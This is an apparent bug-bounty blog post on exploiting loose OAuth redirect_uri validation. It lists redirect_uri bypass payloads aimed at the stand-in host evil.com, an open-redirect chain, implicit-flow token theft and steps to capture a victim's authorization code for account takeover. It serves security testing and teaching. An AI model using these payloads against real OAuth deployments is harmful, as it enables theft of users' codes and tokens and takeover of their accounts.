Post cover image

August 17, 2026

Why Open Redirects Become Critical Inside OAuth

What’s up everyone! Nitin here 👋

By Nitin yadav

2 min read

"Sign in with Google/Facebook/GitHub" is everywhere, which means OAuth misconfigurations are everywhere too. The single most abused parameter in the whole flow is redirect_uri — the URL the provider sends the authorization code (or token) back to. If the provider or client validates that URL loosely, you can make the victim's code land on your server, exchange it, and take over their account on the client app. Let's map the bypasses.

The flow you're attacking

Simplified authorization-code flow:

  1. Client sends the user to the provider: /authorize?client_id=...&redirect_uri=https://target.com/callback&response_type=code&state=...
  2. User approves; provider redirects back to redirect_uri with ?code=AUTH_CODE.
  3. Client's server exchanges AUTH_CODE (+ its secret) for an access token and logs the user in.

The security hinges on the provider only ever sending that code to a URL the legitimate client owns. Break that assumption and the code is yours.

Step 1: Tamper redirect_uri — the bypass ladder

Start from the real value and mutate it, watching whether the provider still redirects (and carries the code):

redirect_uri=https://evil.com                         (no allowlist at all)
redirect_uri=https://target.com.evil.com/cb           (suffix / domain trick)
redirect_uri=https://evil.com/target.com/cb           (substring match fooled)
redirect_uri=https://target.com@evil.com/cb           (userinfo trick)
redirect_uri=https://target.com/cb/../../redirect?u=evil.com   (path traversal + open redirect)
redirect_uri=https://sub.target.com/cb                (unclaimed/takeoverable subdomain)
redirect_uri=https://target.com/cb?extra=x            (loose param matching)

Each one probes a different weakness: no validation, prefix/suffix matching instead of exact match, allowing subdomains, or allowing any path on the domain (which you weaponize with an open redirect on that same domain to bounce the code to yourself).

Step 2: The open-redirect chain (the classic critical)

This is the money combo. If the provider requires redirect_uri to stay on target.com but target.com has any open redirect, you win:

redirect_uri=https://target.com/legit/open-redirect?next=https://evil.com

The provider sees an on-domain redirect_uri, sends the code there, and the open redirect forwards the browser — code and all — to evil.com. That's why open redirects that seem "low severity" alone become critical when chained into OAuth. Always hunt open redirects on the same domain as the OAuth callback.

Step 3: response_type & implicit-flow theft

Try switching to the implicit flow if the client supports it:

&response_type=token

Now the access token lands directly in the URL fragment at your redirect_uri — no code exchange needed, instant token theft. Also test response_mode=fragment vs query quirks.

Step 4: state, PKCE, and the other OAuth bugs

While you're in the flow, check the neighbors:

  • Missing/immutable state → login CSRF (force-link the victim into your account, or vice versa).
  • No PKCE on a public client → intercepted codes are replayable.
  • Code leaks via Referer → if the callback page loads third-party resources, the code in the URL leaks in the Referer header.
  • Pre-account-takeover → sign up with the victim's email before they use social login, and the accounts silently merge.

Step 5: exchange and confirm

Craft the malicious /authorize link, get your victim test account to click it, capture the code/token on your listener, and complete the login on the client app as the victim. PoC = the crafted link + the code hitting your server + the takeover.

The impact ladder

  • redirect_uri accepts extra params but stays on-domain → low unless chainable
  • Code leaks via Referer / needs a same-site open redirect → medium/high
  • Code/token delivered to attacker domain → account takeover → critical
  • Works across the whole client's user base → critical, top payout

Conclusion — the OAuth playbook

  • redirect_uri is the crown jewel — test exact-match vs prefix/suffix/subdomain/path.
  • Chain an on-domain open redirect to bounce the code off-site (critical).
  • Try response_type=token for direct token theft.
  • Check state (login CSRF), PKCE, Referer leaks, and pre-ATO account merging.
  • Prove code/token delivery to your host → account takeover.